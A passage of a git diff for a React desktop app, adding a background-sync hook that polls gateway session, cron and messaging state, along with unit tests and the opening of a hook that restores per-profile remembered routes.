+        { id: 'runtime-malformed', status: 'working' }
+      ]
+    })
+
+    expect($workingSessionIds.get()).toEqual([])
+    expect($attentionSessionIds.get()).toEqual([])
+    expect($stalledSessionIds.get()).toEqual([])
+  })
+})
diff --git a/ui-desktop/src/app/contrib/hooks/use-background-sync.ts b/ui-desktop/src/app/contrib/hooks/use-background-sync.ts
new file mode 100644
index 000000000..8261662c8
--- /dev/null
+++ b/ui-desktop/src/app/contrib/hooks/use-background-sync.ts
@@ -0,0 +1,407 @@
+import { useStore } from '@nanostores/react'
+import { useEffect } from 'react'
+
+import { createClientSessionState } from '@/lib/chat-runtime'
+import { $changeEventsAvailable, $cronChangeTick, $sessionsChangeTick } from '@/store/live-sync'
+import { $onBattery, batteryPollInterval } from '@/store/power'
+import { refreshActiveProfile } from '@/store/profile'
+import { $activeSessionId, $currentCwd, setCurrentCwd } from '@/store/session'
+import {
+  $sessionStates,
+  publishSessionState,
+  SESSION_WATCHDOG_TIMEOUT_MS,
+  setSessionStalled
+} from '@/store/session-states'
+
+import type { GatewayRequester } from '../types'
+
+// Cron sessions are written by a background scheduler tick, messaging turns by
+// the background gateway (Telegram, WeChat, Discord, …) — neither signals the
+// desktop websocket directly. Backends with the change watcher broadcast
+// `cron.changed` / `sessions.changed` when those on-disk writes land, so the
+// timers below become slow safety-net backstops; against an older backend
+// (no `change_events` on gateway.ready) they stay at the legacy cadence.
+const CRON_POLL_INTERVAL_MS = 30_000
+const CRON_BACKSTOP_INTERVAL_MS = 5 * 60_000
+const MESSAGING_POLL_INTERVAL_MS = 10_000
+const ACTIVE_MESSAGING_SESSION_POLL_INTERVAL_MS = 5_000
+const ACTIVE_MESSAGING_SESSION_BACKSTOP_INTERVAL_MS = 30_000
+// Match the TUI's live-session refresh cadence. Auto-compression can rotate a
+// stored session id while its turn keeps running; until the next snapshot the
+// sidebar row points at the new id while the renderer still knows the old one.
+// A 15s cadence made that healthy transition look finished long enough to be
+// alarming (and clicking the row appeared to "fix" it by touching the live
+// session). This snapshot is small and already polled at 1.5s by the TUI.
+const LIVE_SESSION_STATUS_POLL_INTERVAL_MS = 1_500
+// With change events the snapshot re-pulls on every sessions.changed tick, so
+// the interval only covers the degraded-socket edge the stream can't replay
+// (see rehydrateLiveSessionStatuses) — 30s is plenty for that.
+const LIVE_SESSION_STATUS_BACKSTOP_INTERVAL_MS = 30_000
+// Coalesce tick-driven sidebar list refreshes: sessions.changed fires (floored
+// to 2s server-side) on every state.db write during a streaming turn, and the
+// full list refresh is heavier than the active_list snapshot. Trailing-edge
+// scheduled, so the burst's last write always lands.
+const SESSIONS_LIST_TICK_GAP_MS = 10_000
+
+interface LiveSessionStatusItem {
+  id?: string
+  last_active?: number
+  session_key?: string
+  status?: 'idle' | 'starting' | 'waiting' | 'working'
+}
+
+interface LiveSessionStatusResponse {
+  sessions?: LiveSessionStatusItem[]
+}
+
+// Runtime ids this poll has seen live, per gateway profile. A profile only
+// ever reaps what its OWN snapshot previously reported: background profiles are
+// served by different gateways and never appear in this profile's active_list,
+// so an unscoped reap would dark out every other profile's running rows.
+const liveRuntimeIdsByProfile = new Map<string, Set<string>>()
+
+/** Restore sidebar liveness after a renderer/backend reconnect. Stream events
+ * normally own these states, but events emitted while Desktop was disconnected
+ * cannot be replayed. `session.active_list` is the authoritative in-memory
+ * snapshot and does not resume, focus, or otherwise mutate a chat.
+ *
+ * The snapshot is authoritative about ABSENCE too. A turn that ends while the
+ * websocket is degraded — a remote gateway over a flaky link, a reconnect, a
+ * profile swap — drops out of `_sessions` without Desktop ever seeing the
+ * `running: false` edge, so the row keeps spinning and the busy→idle transition
+ * that paints the green "your turn" dot never fires. Reaping runtimes that
+ * vanish between polls restores both. */
+export function rehydrateLiveSessionStatuses(
+  response: LiveSessionStatusResponse,
+  nowMs = Date.now(),
+  profileKey = 'default'
+): void {
+  const seen = new Set<string>()
+
+  for (const session of response.sessions ?? []) {
+    const runtimeSessionId = session.id?.trim()
+    const storedSessionId = session.session_key?.trim()
+    const needsInput = session.status === 'waiting'
+    const working = session.status === 'working' || needsInput
+
+    if (!runtimeSessionId || !storedSessionId) {
+      continue
+    }
+
+    seen.add(runtimeSessionId)
+
+    const existing = $sessionStates.get()[runtimeSessionId]
+
+    // Avoid re-arming the watchdog on every poll. Publish only when the
+    // authoritative live snapshot differs from the renderer mirror; normal
+    // gateway events continue to own subsequent transitions.
+    if (
+      !existing ||
+      existing.storedSessionId !== storedSessionId ||
+      existing.busy !== working ||
+      existing.needsInput !== needsInput
+    ) {
+      publishSessionState(runtimeSessionId, {
+        ...(existing ?? createClientSessionState(storedSessionId)),
+        busy: working,
+        needsInput,
+        storedSessionId
+      })
+    }
+
+    if (!working) {
+      setSessionStalled(storedSessionId, false)
+
+      continue
+    }
+
+    const lastActiveMs = Number(session.last_active) * 1000
+
+    const isQuiet =
+      session.status === 'working' &&
+      Number.isFinite(lastActiveMs) &&
+      lastActiveMs > 0 &&
+      nowMs - lastActiveMs >= SESSION_WATCHDOG_TIMEOUT_MS
+
+    setSessionStalled(storedSessionId, isQuiet)
+  }
+
+  // A runtime this profile's snapshot reported live LAST poll but not this one
+  // has ended: the gateway reaps a session out of `_sessions` when its turn
+  // completes and its transport goes away. Settle it through the normal publish
+  // path so the busy→idle transition fires — that edge is what clears the
+  // spinner AND marks the row unread ("your turn"). Only ids this profile
+  // previously saw are eligible, so another profile's live rows are untouched.
+  const previouslyLive = liveRuntimeIdsByProfile.get(profileKey)
+
+  if (previouslyLive) {
+    for (const runtimeSessionId of previouslyLive) {
+      if (seen.has(runtimeSessionId)) {
+        continue
+      }
+
+      const existing = $sessionStates.get()[runtimeSessionId]
+
+      if (existing?.busy || existing?.needsInput) {
+        publishSessionState(runtimeSessionId, {
+          ...existing,
+          awaitingResponse: false,
+          busy: false,
+          needsInput: false,
+          streamId: null,
+          turnStartedAt: null
+        })
+      }
+    }
+  }
+
+  liveRuntimeIdsByProfile.set(profileKey, seen)
+}
+
+/** Forget every profile's live-runtime bookkeeping. A gateway wipe already
+ *  drops the session states these ids point at, so a carried-over set would
+ *  only reap runtimes that no longer exist. */
+export function resetLiveRuntimeTracking(): void {
+  liveRuntimeIdsByProfile.clear()
+}
+
+interface BackgroundSyncParams {
+  activeGatewayProfile: string
+  activeIsMessaging: boolean
+  activeSessionId: null | string
+  freshDraftReady: boolean
+  gatewayState: string
+  refreshActiveMessagingTranscript: () => Promise<unknown> | unknown
+  refreshCronJobs: () => Promise<unknown> | unknown
+  refreshCurrentModel: (force?: boolean) => Promise<unknown> | unknown
+  refreshClawCodexConfig: () => Promise<unknown> | unknown
+  refreshMessagingSessions: () => Promise<unknown> | unknown
+  refreshSessions: () => Promise<unknown> | unknown
+  requestGateway: GatewayRequester
+}
+
+/** Poll a callback while the tab is visible, on `intervalMs`; re-checks on tab
+ *  re-focus. On battery the cadence stretches (see store/power) — these are
+ *  safety-net refreshes, not the live path, so they're the right thing to slow
+ *  when the machine is spending its charge. Returns nothing — meant to live
+ *  inside an effect. */
+function visiblePoll(intervalMs: number, tick: () => void): () => void {
+  const run = () => {
+    if (document.visibilityState === 'visible') {
+      tick()
+    }
+  }
+
+  let intervalId = window.setInterval(run, batteryPollInterval(intervalMs, $onBattery.get()))
+
+  const unsubscribeBattery = $onBattery.listen(onBattery => {
+    window.clearInterval(intervalId)
+    intervalId = window.setInterval(run, batteryPollInterval(intervalMs, onBattery))
+  })
+
+  document.addEventListener('visibilitychange', run)
+
+  return () => {
+    unsubscribeBattery()
+    window.clearInterval(intervalId)
+    document.removeEventListener('visibilitychange', run)
+  }
+}
+
+/**
+ * Keeps app data live while the gateway is open: an on-connect reseed (model /
+ * profile / sessions + relative-cwd resolution), the cron / messaging /
+ * open-transcript visibility polls, and the fresh-draft model/config reseed.
+ * All the "the desktop websocket won't tell us, so poll" logic in one place.
+ */
+export function useBackgroundSync({
+  activeGatewayProfile,
+  activeIsMessaging,
+  activeSessionId,
+  freshDraftReady,
+  gatewayState,
+  refreshActiveMessagingTranscript,
+  refreshCronJobs,
+  refreshCurrentModel,
+  refreshClawCodexConfig,
+  refreshMessagingSessions,
+  refreshSessions,
+  requestGateway
+}: BackgroundSyncParams): void {
+  const changeEventsAvailable = useStore($changeEventsAvailable)
+  const cronChangeTick = useStore($cronChangeTick)
+  const sessionsChangeTick = useStore($sessionsChangeTick)
+
+  useEffect(() => {
+    if (gatewayState !== 'open') {
+      return
+    }
+
+    void refreshCurrentModel()
+    void refreshActiveProfile()
+    void refreshSessions()
+
+    // A RELATIVE workspace cwd (config `terminal.cwd: .`) renders as "." in the
+    // file tree header — resolve it to the backend's absolute path once.
+    // Session runtime info still overrides later, and never while a session is
+    // active.
+    const cwd = $currentCwd.get().trim()
+
+    if (!$activeSessionId.get() && cwd && !/^(\/|[A-Za-z]:[\\/])/.test(cwd)) {
+      void requestGateway<{ cwd?: string }>('config.get', { key: 'project', cwd })
+        .then(info => {
+          if (info.cwd && !$activeSessionId.get()) {
+            setCurrentCwd(info.cwd)
+          }
+        })
+        .catch(() => undefined)
+    }
+  }, [gatewayState, refreshCurrentModel, refreshSessions, requestGateway])
+
+  // A reconnect loses renderer-only working/attention atoms while the backend
+  // keeps the actual turns alive. Re-seed from the gateway's in-memory session
+  // registry immediately, then re-pull on every sessions.changed broadcast; a
+  // slow visible poll remains as the backstop for the degraded-socket edge the
+  // stream cannot replay (legacy cadence against older backends).
+  useEffect(() => {
+    if (gatewayState !== 'open') {
+      return
+    }
+
+    let cancelled = false
+    let inFlight = false
+
+    const refreshLiveStatuses = async () => {
+      if (inFlight) {
+        return
+      }
+
+      inFlight = true
+
+      try {
+        const response = await requestGateway<LiveSessionStatusResponse>('session.active_list', {})
+
+        if (!cancelled) {
+          rehydrateLiveSessionStatuses(response, Date.now(), activeGatewayProfile)
+        }
+      } catch {
+        // Older gateways may not expose session.active_list. Live stream events
+        // still work as before; leave the current sidebar state untouched.
+      } finally {
+        inFlight = false
+      }
+    }
+
+    const dispose = visiblePoll(
+      changeEventsAvailable ? LIVE_SESSION_STATUS_BACKSTOP_INTERVAL_MS : LIVE_SESSION_STATUS_POLL_INTERVAL_MS,
+      () => void refreshLiveStatuses()
+    )
+
+    void refreshLiveStatuses()
+
+    return () => {
+      cancelled = true
+      dispose()
+    }
+    // sessionsChangeTick: each sessions.changed broadcast re-seeds immediately
+    // via the effect re-run (already coalesced to 2s server-side).
+  }, [activeGatewayProfile, changeEventsAvailable, gatewayState, requestGateway, sessionsChangeTick])
+
+  // sessions.changed also means the *stored* list may have new rows (a cron
+  // run's session, an inbound messaging turn creating a thread). The full list
+  // refresh is heavier than the active_list snapshot, so trail it on a gap
+  // instead of firing per tick. Direct atom subscription: the throttle state
+  // lives in the effect closure, not in refs synced from renders.
+  useEffect(() => {
+    if (gatewayState !== 'open' || !changeEventsAvailable) {
+      return
+    }
+
+    let lastRunAt = 0
+    let timer: null | number = null
+
+    const run = () => {
+      lastRunAt = Date.now()
+      void refreshSessions()
+      void refreshMessagingSessions()
+    }
+
+    const unsubscribe = $sessionsChangeTick.listen(() => {
+      const since = Date.now() - lastRunAt
+
+      if (since >= SESSIONS_LIST_TICK_GAP_MS) {
+        run()
+      } else if (timer === null) {
+        timer = window.setTimeout(() => {
+          timer = null
+          run()
+        }, SESSIONS_LIST_TICK_GAP_MS - since)
+      }
+    })
+
+    return () => {
+      unsubscribe()
+
+      if (timer !== null) {
+        window.clearTimeout(timer)
+      }
+    }
+  }, [changeEventsAvailable, gatewayState, refreshMessagingSessions, refreshSessions])
+
+  // Keep the cron-jobs section live without a user action (scheduler ticks in
+  // the background). cron.changed (jobs.json moved: CRUD or a scheduler tick's
+  // bookkeeping) drives the refresh; the visible poll is the backstop.
+  useEffect(() => {
+    if (gatewayState !== 'open') {
+      return
+    }
+
+    if (cronChangeTick > 0) {
+      void refreshCronJobs()
+    }
+
+    return visiblePoll(
+      changeEventsAvailable ? CRON_BACKSTOP_INTERVAL_MS : CRON_POLL_INTERVAL_MS,
+      () => void refreshCronJobs()
+    )
+  }, [changeEventsAvailable, cronChangeTick, gatewayState, refreshCronJobs])
+
+  // Only the open messaging transcript needs its own cadence — local chats are
+  // live over the websocket already. sessions.changed re-pulls it via the tick
+  // dep; the visible poll is the backstop.
+  useEffect(() => {
+    if (gatewayState !== 'open' || !activeIsMessaging) {
+      return
+    }
+
+    const dispose = visiblePoll(
+      changeEventsAvailable ? ACTIVE_MESSAGING_SESSION_BACKSTOP_INTERVAL_MS : ACTIVE_MESSAGING_SESSION_POLL_INTERVAL_MS,
+      () => void refreshActiveMessagingTranscript()
+    )
+
+    void refreshActiveMessagingTranscript()
+
+    return dispose
+    // sessionsChangeTick: an inbound turn re-pulls the open transcript.
+  }, [activeIsMessaging, changeEventsAvailable, gatewayState, refreshActiveMessagingTranscript, sessionsChangeTick])
+
+  // Messaging session lists against an older backend: no sessions.changed, so
+  // keep the legacy visible poll. (Event-capable backends fold this into the
+  // trailing sessions.changed refresh above.)
+  useEffect(() => {
+    if (gatewayState !== 'open' || changeEventsAvailable) {
+      return
+    }
+
+    return visiblePoll(MESSAGING_POLL_INTERVAL_MS, () => void refreshMessagingSessions())
+  }, [changeEventsAvailable, gatewayState, refreshMessagingSessions])
+
+  // A fresh new-session draft (gateway open, no active session) re-pulls the
+  // model + config so the composer pill reflects the profile default.
+  useEffect(() => {
+    if (gatewayState === 'open' && !activeSessionId && freshDraftReady) {
+      void refreshCurrentModel()
+      void refreshClawCodexConfig()
+    }
+  }, [activeSessionId, freshDraftReady, gatewayState, refreshCurrentModel, refreshClawCodexConfig])
+}
diff --git a/ui-desktop/src/app/contrib/hooks/use-desktop-integrations.test.tsx b/ui-desktop/src/app/contrib/hooks/use-desktop-integrations.test.tsx
new file mode 100644
index 000000000..9aca4878b
--- /dev/null
+++ b/ui-desktop/src/app/contrib/hooks/use-desktop-integrations.test.tsx
@@ -0,0 +1,415 @@
+import { renderHook } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { _resetLegacyDiscardForTests } from '@/store/session'
+import type { SessionInfo } from '@/types/clawcodex'
+
+import { useDesktopIntegrations } from './use-desktop-integrations'
+
+// Pure-jsdom localStorage (no nanostores persistence module needed — the
+// production functions write directly to window.localStorage through the
+// persistString/storedString helpers in @/lib/storage, which in jsdom resolves
+// to the real localStorage global).
+// We import the hook and drive it with explicit rx-stores/props to exercise the
+// profile-ready gate, ownership validation, and legacy-key discard.
+
+const desktopWindow = window as unknown as { clawcodexDesktop?: Window['clawcodexDesktop'] }
+const initialClawCodexDesktop = desktopWindow.clawcodexDesktop
+
+const session = (over: Partial<SessionInfo> = {}): SessionInfo => ({
+  archived: false,
+  cwd: null,
+  ended_at: null,
+  id: 'live',
+  input_tokens: 0,
+  is_active: false,
+  last_active: 0,
+  message_count: 0,
+  model: null,
+  output_tokens: 0,
+  preview: null,
+  source: null,
+  started_at: 0,
+  title: null,
+  tool_call_count: 0,
+  ...over
+})
+
+describe('useDesktopIntegrations', () => {
+  let navigate: ReturnType<typeof vi.fn<(...args: unknown[]) => void>>
+
+  beforeEach(() => {
+    window.localStorage.clear()
+    _resetLegacyDiscardForTests()
+    navigate = vi.fn()
+
+    // Stub the desktop bridge so the hook's useEffect callbacks don't try to
+    // reach real Electron IPC. The established desktop-test pattern assigns a
+    // plain object to window.clawcodexDesktop rather than using vi.spyOn.
+    desktopWindow.clawcodexDesktop = {
+      setPreviewShortcutActive: vi.fn(),
+      onOpenUpdatesRequested: vi.fn(),
+      onFocusSession: vi.fn(),
+      onNotificationAction: vi.fn(),
+      onDeepLink: vi.fn(),
+      signalDeepLinkReady: vi.fn(),
+      onClosePreviewRequested: vi.fn(),
+      onOpenFolderRequested: vi.fn()
+    } as unknown as Window['clawcodexDesktop']
+  })
+
+  afterEach(() => {
+    if (initialClawCodexDesktop) {
+      desktopWindow.clawcodexDesktop = initialClawCodexDesktop
+    }
+
+    vi.restoreAllMocks()
+  })
+
+  function render({
+    activeProfile = 'default',
+    locationPathname = '/',
+    profileReady = false,
+    resumeExhaustedSessionId = null as string | null,
+    routedSessionId = null as string | null,
+    sessions = [] as readonly SessionInfo[]
+  } = {}) {
+    return renderHook(
+      ({
+        activeProfile,
+        locationPathname,
+        profileReady,
+        resumeExhaustedSessionId,
+        routedSessionId,
+        sessions
+      }: {
+        activeProfile: string
+        locationPathname: string
+        profileReady: boolean
+        resumeExhaustedSessionId: string | null
+        routedSessionId: string | null
+        sessions: readonly SessionInfo[]
+      }) =>
+        useDesktopIntegrations({
+          activeProfile,
+          chatOpen: false,
+          hasPreview: false,
+          locationPathname,
+          navigate,
+          profileReady,
+          refreshSessions: vi.fn(),
+          resumeExhaustedSessionId,
+          routedSessionId,
+          runtimeIdByStoredSessionId: { current: new Map() },
+          sessions
+        }),
+      {
+        initialProps: {
+          activeProfile,
+          locationPathname,
+          profileReady,
+          resumeExhaustedSessionId,
+          routedSessionId,
+          sessions
+        }
+      }
+    )
+  }
+
+  describe('profile-ready gate', () => {
+    it('does NOT restore before profileReady is true', () => {
+      // Set remembered state, but profileReady=false.
+      window.localStorage.setItem('clawcodex.desktop.lastRoute.profile.default', '/remembered-session')
+      window.localStorage.setItem('clawcodex.desktop.lastSessionId.profile.default', 'remembered-session')
+
+      render({ profileReady: false })
+
+      // no navigation should have occurred
+      expect(navigate).not.toHaveBeenCalled()
+    })
+
+    it('restores on profileReady when remembered route exists and owns the session', () => {
+      window.localStorage.setItem('clawcodex.desktop.lastRoute.profile.default', '/remembered-session')
+
+      const sessions = [session({ id: 'remembered-session', profile: 'default' })]
+
+      render({ profileReady: true, sessions })
+
+      expect(navigate).toHaveBeenCalledWith('/remembered-session', { replace: true })
+    })
+
+    it('restores remembered session id when no remembered route exists', () => {
+      window.localStorage.setItem('clawcodex.desktop.lastSessionId.profile.default', 'remembered-session')
+
+      const sessions = [session({ id: 'remembered-session', profile: 'default' })]
+
+      render({ profileReady: true, sessions })
+
+      // sessionRoute('remembered-session') = '/remembered-session'
+      expect(navigate).toHaveBeenCalledWith('/remembered-session', { replace: true })
+    })
+
+    it('waits for sessions before validating a remembered session route', () => {
+      window.localStorage.setItem('clawcodex.desktop.lastRoute.profile.default', '/remembered-session')
+
+      const result = render({ profileReady: true, sessions: [] })
+
+      expect(navigate).not.toHaveBeenCalled()
+      expect(window.localStorage.getItem('clawcodex.desktop.lastRoute.profile.default')).toBe('/remembered-session')
+
+      result.rerender({
+        activeProfile: 'default',
+        locationPathname: '/',
+        profileReady: true,
+        resumeExhaustedSessionId: null,
+        routedSessionId: null,
+        sessions: [session({ id: 'remembered-session', profile: 'default' })]
+      })
+
+      expect(navigate).toHaveBeenCalledWith('/remembered-session', { replace: true })
+    })
+  })
+
+  describe('ownership validation', () => {
+    it('refuses to restore a session route owned by another profile', () => {
+      window.localStorage.setItem('clawcodex.desktop.lastRoute.profile.default', '/ai-session')
+
+      const sessions = [session({ id: 'ai-session', profile: 'ai-engineer' })]
+
+      // The route belongs to ai-engineer; active profile is default.
+      // No navigation should happen — wrong owner.
+      render({ activeProfile: 'default', profileReady: true, sessions })
+
+      expect(navigate).not.toHaveBeenCalled()
+    })
+
+    it('refuses to restore a session id owned by another profile', () => {
+      window.localStorage.setItem('clawcodex.desktop.lastSessionId.profile.default', 'ai-session')
+      window.localStorage.setItem('clawcodex.desktop.lastRoute.profile.default', '/ai-session')
+
+      const sessions = [session({ id: 'ai-session', profile: 'ai-engineer' })]
+
+      render({ activeProfile: 'default', profileReady: true, sessions })
+
+      // Both route and fallback session id are owned by another profile.
+      expect(navigate).not.toHaveBeenCalled()
+    })
+
+    it('clears stale remembered route owned by wrong profile', () => {
+      window.localStorage.setItem('clawcodex.desktop.lastRoute.profile.ai-engineer', '/ai-session')
+
+      const sessions = [session({ id: 'ai-session', profile: 'ai-engineer' })]
+
+      render({ activeProfile: 'ai-engineer', profileReady: true, sessions })
+
+      // The route and session match the active profile — should restore.
+      expect(navigate).toHaveBeenCalledWith('/ai-session', { replace: true })
+    })
+  })
+
+  describe('two profiles with distinct sessions', () => {
+    it('restores profile A session when profile A is active', () => {
+      window.localStorage.setItem('clawcodex.desktop.lastRoute.profile.coder', '/coder-session')
+
+      const sessions = [
+        session({ id: 'coder-session', profile: 'coder' }),
+        session({ id: 'ops-session', profile: 'ops' })
+      ]
+
+      render({ activeProfile: 'coder', profileReady: true, sessions })
+
+      expect(navigate).toHaveBeenCalledWith('/coder-session', { replace: true })
+    })
+
+    it('does NOT bleed profile A session into profile B', () => {
+      window.localStorage.setItem('clawcodex.desktop.lastRoute.profile.coder', '/coder-session')
+
+      const sessions = [session({ id: 'coder-session', profile: 'coder' })]
+
+      // ops profile is active but has no own remembered route
+      render({
+        activeProfile: 'ops',
+        profileReady: true,
+        sessions
+      })
+
+      // No navigation — coder's remembered route doesn't belong to ops.
+      expect(navigate).not.toHaveBeenCalled()
+    })
+  })
+
+  describe('legacy key behavior', () => {
+    it('discards legacy global keys on read and does NOT restore from them', () => {
+      // Simulate a pre-per-profile install.
+      window.localStorage.setItem('clawcodex.desktop.lastSessionId', 'legacy-session')
+      window.localStorage.setItem('clawcodex.desktop.lastRoute', '/session/legacy-session')
+
+      // Profile contexts without matching sessions.
+      const sessions = [session({ id: 'legacy-session', profile: 'default' })]
+
+      render({ profileReady: true, sessions })
+
+      // Legacy keys must be discarded.
+      expect(window.localStorage.getItem('clawcodex.desktop.lastSessionId')).toBeNull()
+      expect(window.localStorage.getItem('clawcodex.desktop.lastRoute')).toBeNull()
+
+      // And no navigation should happen (the per-profile keys were empty).
+      expect(navigate).not.toHaveBeenCalled()
+    })
+  })
+
+  describe('stale-result suppression during profile switch', () => {
+    it('remembers route for the new profile after switch, not the old one', () => {
+      const sessions = [
+        session({ id: 'coder-session', profile: 'coder' }),
+        session({ id: 'ops-session', profile: 'ops' })
+      ]
+
+      // Render with coder active and navigate to a session.
+      const { rerender } = render({
+        activeProfile: 'coder',
+        locationPathname: '/coder-session',
+        profileReady: true,
+        routedSessionId: 'coder-session',
+        sessions
+      })
+
+      // The coder session should be persisted under coder's key.
+      expect(window.localStorage.getItem('clawcodex.desktop.lastSessionId.profile.coder')).toBe('coder-session')
+
+      // Now switch to ops.
+      rerender({
+        activeProfile: 'ops',
+        locationPathname: '/ops-session',
+        profileReady: true,
+        resumeExhaustedSessionId: null,
+        routedSessionId: 'ops-session',
+        sessions
+      })
+
+      // The ops session should now be persisted under ops's key.
+      expect(window.localStorage.getItem('clawcodex.desktop.lastSessionId.profile.ops')).toBe('ops-session')
+
+      // Coder's remembered session should still be there.
+      expect(window.localStorage.getItem('clawcodex.desktop.lastSessionId.profile.coder')).toBe('coder-session')
+    })
+
+    it('does NOT overwrite remembered state when session ownership fails validation', () => {
+      // Simulate an async restore result arriving for a route that doesn't
+      // own the active profile.
+      const sessions = [session({ id: 'coder-session', profile: 'coder' })]
+
+      // Active profile is ops, but the routed session belongs to coder.
+      render({
+        activeProfile: 'ops',
+        locationPathname: '/',
+        profileReady: true,
+        routedSessionId: 'coder-session', // wrong profile!
+        sessions
+      })
+
+      // No session should be remembered for the active profile.
+      expect(window.localStorage.getItem('clawcodex.desktop.lastSessionId.profile.ops')).toBeNull()
+    })
+  })
+
+  describe('route-scoped restoration', () => {
+    it('restores a non-session route like /skills', () => {
+      window.localStorage.setItem('clawcodex.desktop.lastRoute.profile.default', '/skills')
+
+      const sessions = [session({ id: 'some-session', profile: 'default' })]
+
+      render({ profileReady: true, sessions })
+
+      // /skills is not a session route — no ownership validation needed.
+      expect(navigate).toHaveBeenCalledWith('/skills', { replace: true })
+    })
+
+    it('does NOT restore overlay routes (settings/command-center)', () => {
+      window.localStorage.setItem('clawcodex.desktop.lastRoute.profile.default', '/settings')
+
+      render({ profileReady: true, sessions: [] })
+
+      // Overlay routes should not be restored.
+      expect(navigate).not.toHaveBeenCalled()
+    })
+
+    it('does NOT persist overlay routes for next boot', () => {
+      const { rerender } = render({
+        activeProfile: 'default',
+        locationPathname: '/settings',
+        profileReady: true,
+        routedSessionId: null,
+        sessions: []
+      })
+
+      // Remembering effect fires on route change.
+      rerender({
+        activeProfile: 'default',
+        locationPathname: '/settings',
+        profileReady: true,
+        resumeExhaustedSessionId: null,
+        routedSessionId: null,
+        sessions: []
+      })
+
+      // Overlay routes must NOT be persisted.
+      expect(window.localStorage.getItem('clawcodex.desktop.lastRoute.profile.default')).toBeNull()
+    })
+  })
+
+  describe('exhausted session cleanup', () => {
+    it('clears remembered session id when the exhausted session matches', () => {
+      window.localStorage.setItem('clawcodex.desktop.lastSessionId.profile.default', 'exhausted')
+
+      const sessions = [session({ id: 'exhausted', profile: 'default' })]
+
+      render({
+        profileReady: true,
+        resumeExhaustedSessionId: 'exhausted',
+        sessions
+      })
+
+      expect(window.localStorage.getItem('clawcodex.desktop.lastSessionId.profile.default')).toBeNull()
+    })
+
+    it('clears remembered route when it carries the exhausted session', () => {
+      window.localStorage.setItem('clawcodex.desktop.lastRoute.profile.default', '/exhausted')
+
+      const sessions = [session({ id: 'exhausted', profile: 'default' })]
+
+      render({
+        profileReady: true,
+        resumeExhaustedSessionId: 'exhausted',
+        sessions
+      })
+
+      expect(window.localStorage.getItem('clawcodex.desktop.lastRoute.profile.default')).toBeNull()
+    })
+
+    it('does NOT clear exhausted when profileReady is false', () => {
+      window.localStorage.setItem('clawcodex.desktop.lastSessionId.profile.default', 'exhausted')
+
+      render({
+        profileReady: false,
+        resumeExhaustedSessionId: 'exhausted',
+        sessions: []
+      })
+
+      // profileReady=false gates the cleanup effect.
+      expect(window.localStorage.getItem('clawcodex.desktop.lastSessionId.profile.default')).toBe('exhausted')
+    })
+
+    it('does NOT clear remembered state when exhausted id does not match', () => {
+      window.localStorage.setItem('clawcodex.desktop.lastSessionId.profile.default', 'other-session')
+
+      render({
+        profileReady: true,
+        resumeExhaustedSessionId: 'exhausted',
+        sessions: [session({ id: 'other-session', profile: 'default' })]
+      })
+
+      expect(window.localStorage.getItem('clawcodex.desktop.lastSessionId.profile.default')).toBe('other-session')
+    })
+  })
+})
diff --git a/ui-desktop/src/app/contrib/hooks/use-desktop-integrations.ts b/ui-desktop/src/app/contrib/hooks/use-desktop-integrations.ts
new file mode 100644
index 000000000..1003d5f61
--- /dev/null
+++ b/ui-desktop/src/app/contrib/hooks/use-desktop-integrations.ts
@@ -0,0 +1,242 @@
+import { useEffect, useRef } from 'react'
+
+import { closeActiveTab } from '@/app/chat/close-tab'
+import { openSession } from '@/app/open-session'
+import { storedSessionIdForNotification } from '@/lib/session-ids'
+import { respondToApprovalAction } from '@/store/native-notifications'
+import { openFolderAsProject } from '@/store/projects'
+import {
+  getRememberedRoute,
+  getRememberedSessionId,
+  sessionBelongsToProfile,
+  setRememberedRoute,
+  setRememberedSessionId
+} from '@/store/session'
+import { onSessionsChanged } from '@/store/session-sync'
+import { openUpdatesWindow, startUpdatePoller, stopUpdatePoller } from '@/store/updates'
+import { isSecondaryWindow } from '@/store/windows'
+import type { SessionInfo } from '@/types/clawcodex'
+
+import { requestComposerFocus, requestComposerInsert } from '../../chat/composer/focus'
+import { appViewForPath, isOverlayView, NEW_CHAT_ROUTE, routeSessionId, sessionRoute } from '../../routes'
+
+type RememberedSession = Pick<SessionInfo, '_lineage_root_id' | 'id' | 'profile'>
+
+interface DesktopIntegrationsParams {
+  activeProfile: string
+  chatOpen: boolean
+  hasPreview: boolean
+  locationPathname: string
+  navigate: (to: string, options?: { replace?: boolean }) => void
+  profileReady: boolean
+  refreshSessions: () => Promise<unknown> | unknown
+  resumeExhaustedSessionId: null | string
+  routedSessionId: null | string
+  runtimeIdByStoredSessionId: { readonly current: Map<string, string> }
+  sessions: readonly RememberedSession[]
+}
+
+/**
+ * All the Electron-main / OS / cross-window integrations the shell listens for:
+ * update polling, the ⌘W close shortcut, deep links, native-notification
+ * navigation, preview-shortcut enablement, remembered-session restore, and
+ * cross-window session-list sync. Kept out of the wiring controller so the
+ * "talks to the desktop shell" surface reads as one unit.
+ */
+export function useDesktopIntegrations({
+  activeProfile,
+  locationPathname,
+  navigate,
+  profileReady,
+  refreshSessions,
+  resumeExhaustedSessionId,
+  routedSessionId,
+  runtimeIdByStoredSessionId,
+  sessions
+}: DesktopIntegrationsParams): void {
+  // Update polling — populates $desktopVersion/$updateStatus, which feed the
+  // statusbar version pill and the update toasts. Also honors the main
+  // process's "open updates" menu request.
+  useEffect(() => {
+    startUpdatePoller()
+    const unsubscribe = window.clawcodexDesktop?.onOpenUpdatesRequested?.(() => openUpdatesWindow())
+
+    return () => {
+      unsubscribe?.()
+      stopUpdatePoller()
+    }
+  }, [])
+
+  // The renderer OWNS ⌘W: on macOS the native menu accelerator would else
+  // close the window, so claim it unconditionally — the menu then routes ⌘W
+  // to us (close-preview-requested IPC) and we decide tab-vs-window.
+  useEffect(() => {
+    window.clawcodexDesktop?.setPreviewShortcutActive?.(true)
+  }, [])
+
+  const restoredRef = useRef(false)
+
+  // Wait until boot has adopted the primary profile, then restore that profile's
+  // navigation exactly once. The same effect owns subsequent writes so the
+  // initial `/` cannot overwrite remembered history before it is read.
+  // This ref is a one-time lifecycle latch, not a mirror of reactive atom state.
+  // eslint-disable-next-line no-restricted-syntax
+  useEffect(() => {
+    if (!profileReady) {
+      return
+    }
+
+    if (!restoredRef.current) {
+      // Only cold-start navigation at the default route is replaceable; a deep
+      // link or hidden-then-shown window keeps its explicit destination.
+      if (locationPathname === NEW_CHAT_ROUTE) {
+        const route = getRememberedRoute(activeProfile)
+        const routeSession = route ? routeSessionId(route) : null
+        const last = getRememberedSessionId(activeProfile)
+
+        const restorableNonSessionRoute =
